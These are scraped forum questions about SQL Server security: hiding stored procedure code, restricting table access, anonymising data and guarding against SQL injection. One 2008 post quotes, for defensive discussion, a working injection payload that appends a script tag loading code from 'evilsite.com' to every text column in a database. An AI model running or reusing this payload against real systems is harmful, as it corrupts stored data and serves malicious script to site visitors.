Protecting Functions From View It
Dec 22, 2006
Hello,
I wrote some complicated functions (and stored procedures) in database
at my work. System administrator (and every db user) can view codes
(in Enterprise Manager for eg.). My employer needs periodic modifying
of code and so I'm required to do it. But I can loose my job :)
because users are able to modify code (althout they ware too lazy to
create it by themselves).
Is this possible to protect functions from view it?
[please, don't mind my english]
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Mar 5, 2008
I work on a copy of SQL Server Express on my desktop. After modifying and creating views and user defined functions, I would like to copy and paste them into the working database. Is there a method programmatically of doing this or must I copy and paste the t-sql language from the existing view to the new database--then save the new view on the working database?
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Nov 28, 2007
Hello,
i've written the following query:
SELECT dbo.KALENDER.KALENDER_ID, dbo.KALENDER.JAHR_BEZ, dbo.KALENDER.JAHR_WERT, dbo.KALENDER.HALBJAHR_WERT,
dbo.KALENDER.HALBJAHR_BEZ1, dbo.KALENDER.HALBJAHR_BEZ2, dbo.KALENDER.QUARTAL_WERT, dbo.KALENDER.QUARTAL_BEZ1,
dbo.KALENDER.QUARTAL_BEZ2, dbo.KALENDER.MONAT_BEZ, dbo.KALENDER.MONAT_WERT, dbo.KALENDER.TAGE_IM_MONAT,
dbo.TAG.KALENDERWOCHE, dbo.TAG.WOCHENTAG, dbo.TAG.TAG, s.STUNDE_ID, s.DATUM_ZEIT
FROM dbo.KALENDER INNER JOIN
dbo.TAG ON dbo.KALENDER.KALENDER_ID = dbo.TAG.KALENDER_ID INNER JOIN
dbo.STUNDE AS s ON dbo.TAG.TAG_ID = s.TAG_ID
WHERE (SELECT MONTH(s.datum_zeit)) = ((SELECT MONTH(GETDATE()))-2)and
(SELECT year(s.datum_zeit)) = (SELECT year(GETDATE()))
order by s.stunde_id
when copying that query to the view editor and executing it, it trys to fix it somehow to:
SELECT TOP (100) PERCENT dbo.KALENDER.KALENDER_ID, dbo.KALENDER.JAHR_BEZ, dbo.KALENDER.JAHR_WERT, dbo.KALENDER.HALBJAHR_WERT,
dbo.KALENDER.HALBJAHR_BEZ1, dbo.KALENDER.HALBJAHR_BEZ2, dbo.KALENDER.QUARTAL_WERT, dbo.KALENDER.QUARTAL_BEZ1,
dbo.KALENDER.QUARTAL_BEZ2, dbo.KALENDER.MONAT_BEZ, dbo.KALENDER.MONAT_WERT, dbo.KALENDER.TAGE_IM_MONAT,
dbo.TAG.KALENDERWOCHE, dbo.TAG.WOCHENTAG, dbo.TAG.TAG, s.STUNDE_ID, s.DATUM_ZEIT
FROM dbo.KALENDER INNER JOIN
dbo.TAG ON dbo.KALENDER.KALENDER_ID = dbo.TAG.KALENDER_ID INNER JOIN
dbo.STUNDE AS s ON dbo.TAG.TAG_ID = s.TAG_ID
WHERE ((SELECT MONTH(s.datum_zeit) AS Expr1
FROM ) =
(SELECT MONTH(GETDATE()) AS Expr1) - 2) AND
((SELECT YEAR(s.datum_zeit) AS Expr1
FROM ) =
(SELECT YEAR(GETDATE()) AS Expr1))
ORDER BY s.STUNDE_ID
... but this causes syntax-errors. I don't understand why this query works fine in the query editor but then gets automatically "destroyed" by the view editor. Do i have to use more statements to get the working query to run inside a view?
Thanks alot for reading.
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Jul 3, 2007
Hello,
I am building a website in ASP.net 2.0 and I want to protect my self from sql Injection.
I am half way there in that I have built my own class that I use to check any input to the Database from a textbox (or user input) for specific characters that cause trouble, such as the “ ‘ � or “;� it then converts them to my own code for example “ ’ � = |^| the same function will convert my “code� back to the original character which works great until I get to Gridviews and Forum View.
Does anyone know how I would access the class I created through the gridview and formview so that any info they display gets first translated through my class.
Or if that is not possible how I would set the grideview or formview to translate the “codes� for me.
If I am totally off track here and there is a much better way to do all this then I am all ears. Please keep in mind I will require the “bad� characters to be saved in some way shape or form.
Thanks
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I have a VB6 program that is using MS-SQL Server 2000. The people using the program can access the database and modify the records. This is fine except for one table.
Is it possible to prevent users from modifying one table (they can still view it) and allowing me and the VB program to acces this table?
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Feb 22, 2001
I am currently writing a VB app based around a SQLserver2000 database. I have used stored procedures wherever possible to select/update/delete data. I am planning to distribute this app and wonder whether there are any tricks out there for encrypting/setting security so that even the SA account would be unable to read my stored procedures, but obviously be able to execute them?
There are two scenarios - one is where I want to let someone borrow a laptop just for a few days for a demo. Presumably I just give them an unprivileged user account without interactive logon possibilities, by which I mean Enterprise Manager and the other SQLserver Client tools [can I do this?] and control all access from the app.
The other scenario is when the app is purchased and I no longer have control of the SQL Server nor the SA account.
Any pointers would certainly be very useful indeed. Thanks.
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Mar 20, 2007
Andy writes "Good day Gurus!
I have a question regarding how to protect my SQL data. My Material Resource Planning software is built on SQL. There is a problem with my data and possibly a bug in the vendors software. They are asking me to send them my database.
My database contains vendors, customers, pricing partlists and procedures. The advantage of an MRP/ERP system is that the data is all in one place; the disadvantage is that if I send it out to the vendor, they have access to all that I do. This vendor also supports some of my competitors. My concern is that all it would take is one vendor employee to jump ship with my data on a dongle and I could end up completely compromised as a company.
Is there a way of easily or is there software that can leave the significant data in tact but replace the confidential data with meaningless information?
Significant data would be numbers, costs, etc, or data that I choose. Confidential data would be vendors, customers, etc.
It seems to me that this would be a fairly common problem, but I cannot find a solution that is both quick and effective.
Thanks for your collective thoughts.
Andy,"
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Thanks in advance.
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Jul 23, 2006
I have a database installed on my server, and i have put a database on user "sa" , so when any user wants to view the database he must enter the password to view its content. But i have dicover that if the user make the authentication "Windows Authentication" and opened the database it will be opned without the need to enter the password !!! and for this i cant restrict the access for my database from un-authorized people.
Can any one tell me how i can restrict view database content unless entering the password?
Thaks
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Hidoes anyone know of a way of giving developers read only access to adatabase diagram in Enterprise Manager (SQL Server 2000). The database wassupplied by a third party and we don't want them tinkering with it, butthey do need to be able to create additional tables etc. to extend thefunctionality of the package.TIAChloe Crowder
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Jul 20, 2005
Hi,I need to provide a facility to do routine database administration(backups, etc.) without allowing the logged in user to modify thedata in any of the SQL server tables. Is there any way to accomplishthis (such as maybe password protecting the tables or otherwise)? I amfairly new to SQL server - so would appreciate any pointers to this.Thanks a ton!Regards,Radha
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May 13, 2008
Helloo all,
I would like to gather some thoughts on how to secure my database (running on sql server 2005) from SQL injection , one such as :
Code Snippet
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
Basically this statement finds every text column contained in a database and inserts a cross site script into it.
I know this topic has been covered in some depth in articles such as :
MSDN article on SQL injection (http://msdn.microsoft.com/en-us/library/ms161953.aspx)
and on forums a few times.
And the general consensus is to check application code and fix it, which is fine, however we have many legacy systems where it would be too time consuming to fix the problem at the application level.
So the alternative is fix this at the database level.
A possible solution is to isolate the application access to only the objects it uses, and none of the system objects. This should prevent the statement above from running, because it requests access to the sysobjects and syscolumns views. I could implement this by changing the schema for all user objects from dbo to [myAppSchema] and assigning it to my applications database user.
Not particularly elegant but might work, what do you think?
Nigel.
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Can anyone recommend a way of commercially protecting the code pleaaaase?
Thanks!
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In SRS is there a simiple way to password protect a report? Or will I need to handle this in ASP?
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Can someone point me to the fool proof method that everyone else already uses, please ?
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I tried making the database read-only, but then of course i cant add new records.
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Lets assume SQL Server 2005 running on Windows 2003 Server, connected to a network but not part of the domain. One application accesses it over the network with one login. Either SQL Server or a local windows login is used for authentication. This would protect SQL Server if the domain was compromised. I can see in normal circumstances domain level logins should be used, but in certain scenerios where the security of the SQL Server box is top would this be a good solution?
Thanks
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[code]...
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Hi,
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